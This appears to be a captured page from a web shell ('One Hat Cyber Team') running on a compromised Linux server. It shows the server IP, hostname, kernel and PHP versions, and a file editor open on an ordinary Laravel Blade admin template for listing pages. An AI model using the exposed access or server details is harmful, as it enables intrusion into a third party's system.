⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.10
Server IP:
15.204.235.159
Server:
Linux srv.techlup.co.ke 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Server Software:
Apache
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
tech
/
www
/
script
/
resources
/
views
/
admin
/
page
/
Edit File: index.blade.php
@extends('layouts.backend.app') @section('content') <div class="card" > <div class="card-body"> <div class="row mb-30"> <div class="col-lg-6"> <h4>{{ __('Page List') }}</h4> </div> <div class="col-lg-6"> <div class="add-new-btn"> <a href="{{ route('admin.page.create') }}" class="btn f-right">{{ __('Add New') }}</a> </div> </div> </div> <div class="cart-filter mb-20"> <a href="{{ route('admin.page.index') }}">{{ __('All') }} <span>({{ App\Terms::where('type',1)->where('status','!=',0)->count() }})</span></a> <a href="?st=1">{{ __('Published') }} <span>({{ App\Terms::where('type',1)->where('status',1)->count() }})</span></a> <a href="?st=2">{{ __('Drafts') }} <span>({{ App\Terms::where('type',1)->where('status',2)->count() }})</span></a> <a href="?st=trash" class="trash">{{ __('Trash') }} <span>({{ App\Terms::where('type',1)->where('status',0)->count() }})</span></a> </div> <div class="card-action-filter"> <form method="post" id="basicform" action="{{ route('admin.page.destroy') }}"> @csrf <div class="row"> <div class="col-lg-6"> <div class="d-flex"> <div class="single-filter"> <div class="form-group"> <select class="form-control" name="status"> <option value="publish">{{ __('Publish') }}</option> <option value="trash">{{ __('Move to Trash') }}</option> <option value="delete">{{ __('Delete Permanently') }}</option> </select> </div> </div> <div class="single-filter"> <button type="submit" class="btn">{{ __('Apply') }}</button> </div> </div> </div> <div class="col-lg-6"> <div class="single-filter f-right"> <div class="form-group"> <input type="text" id="data_search" class="form-control" placeholder="Enter Value"> </div> </div> </div> </div> </div> <div class="table-responsive custom-table"> <table class="table"> <thead> <tr> <th class="am-select"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="custom-control-input checkAll" id="customCheck12"> <label class="custom-control-label checkAll" for="customCheck12"></label> </div> </th> <th class="am-title">{{ __('Title') }}</th> <th class="am-title">{{ __('Url') }}</th> <th class="am-title">language</th> <th class="am-title">{{ __('Status') }}</th> <th class="am-date">{{ __('Last Update') }}</th> </tr> </thead> <tbody> @foreach($pages as $page) <tr> <th> <div class="custom-control custom-checkbox"> <input type="checkbox" name="ids[]" class="custom-control-input" id="customCheck{{ $page->id }}" value="{{ $page->id }}"> <label class="custom-control-label" for="customCheck{{ $page->id }}"></label> </div> </th> <td> {{ $page->title }} <div class="hover"> <a href="{{ route('admin.page.edit',$page->id) }}">{{ __('Edit') }}</a> <a href="{{ route('admin.page.edit',$page->id) }}" class="last">{{ __('View') }}</a> </div> </td> <td>{{ route('page.show',$page->slug) }}</td> <td>{{ $page->lang }}</td> <td>@if($page->status==1) {{ __('Published') }} @elseif($page->status==2) Draft @else {{ __('Trash') }} @endif</td> <td>{{ __('Last Modified') }} <div class="date"> {{ $page->updated_at->diffForHumans() }} </div> </td> </tr> @endforeach </tbody> </form> <tfoot> <tr> <th class="am-select"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="custom-control-input checkAll" id="customCheck12"> <label class="custom-control-label checkAll" for="customCheck12"></label> </div> </th> <th class="am-title">{{ __('Title') }}</th> <th class="am-title">{{ __('Url') }}</th> <th class="am-title">language</th> <th class="am-title">{{ __('Status') }}</th> <th class="am-date">{{ __('Last Update') }}</th> </tr> </tfoot> </table> {{ $pages->links() }} </div> </div> </div> @endsection @section('script') <script src="{{ asset('admin/js/form.js') }}"></script> <script type="text/javascript"> "use strict"; //response will assign this function function success(res){ location.reload(); } </script> @endsection
Simpan